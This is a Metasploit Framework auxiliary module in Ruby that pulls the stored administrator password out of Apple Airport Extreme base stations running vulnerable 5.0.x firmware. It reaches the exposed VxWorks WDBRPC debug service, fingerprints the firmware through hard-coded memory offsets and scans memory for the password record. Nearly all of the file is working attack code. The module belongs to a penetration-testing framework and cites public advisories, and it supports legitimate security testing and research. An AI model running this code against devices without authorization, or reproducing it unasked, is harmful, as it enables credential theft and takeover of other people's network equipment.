##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##


require 'msf/core'


class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::WDBRPC_Client

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Apple Airport Extreme Password Extraction (WDBRPC)',
			'Description'    => %q{
				This module can be used to read the stored password of a vulnerable
			Apple Airport Extreme access point. Only a small number of firmware versions
			have the WDBRPC service running, however the factory configuration was
			vulnerable. It appears that firmware versions 5.0.x as well as 5.1.x are
			susceptible to this issue. Once the password is obtained, the access point
			can be managed using the Apple AirPort utility.
			},
			'Author'         => [ 'hdm'],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					['OSVDB', '66842'],
					['URL', 'http://blog.metasploit.com/2010/08/vxworks-vulnerabilities.html'],
					['US-CERT-VU', '362332']
				]
			))
	end

	def run
		target  = nil
		targets = {
			"Apple Base Station V5.0.4" => {
				:version  => 0x0024ee3c,
				:password => 0x00380000,
				:password_search => 32768,
			},
			"Apple Base Station V5.0.3" => {
				:version  => 0x0024e24c,
				:password => 0x00380000,
				:password_search => 32768,
			},
			"Apple Base Station V5.0.1" => {
				:version  => 0x0024b45c,
				:password => 0x00fa7500,
				:password_search => 16384
			}
		}


		wdbrpc_client_connect

		if not @wdbrpc_info[:rt_vers]
			print_error("No response to connection request")
			return
		end

		membase = @wdbrpc_info[:rt_membase]
		found   = false

		targets.each_pair do |tname,target|

			vers = wdbrpc_client_memread(membase + target[:version], 32).unpack("Z*")[0]

			if not (vers and vers.length > 0 and vers == tname)
				next
			end

			found = true

			base = membase + target[:password]
			off  = 0
			mtu  = @wdbrpc_info[:agent_mtu] - 80
			pass = nil

			while off < target[:password_search]
				buff = wdbrpc_client_memread(base + off, mtu)
				pidx = buff.index("WPys")

				if pidx
					plen = buff[pidx + 8, 4].unpack("V")[0]
					pass = buff[pidx + 12, plen].unpack("Z*")[0]
					break
				end

				off += buff.length
			end

			if pass
				print_good("Password for this access point is '#{pass}'")
			else
				print_error("The password could not be located")
			end
			break
		end

		if not found
			print_error("No matching fingerprint for this access point")
		end

		wdbrpc_client_disconnect
	end
end
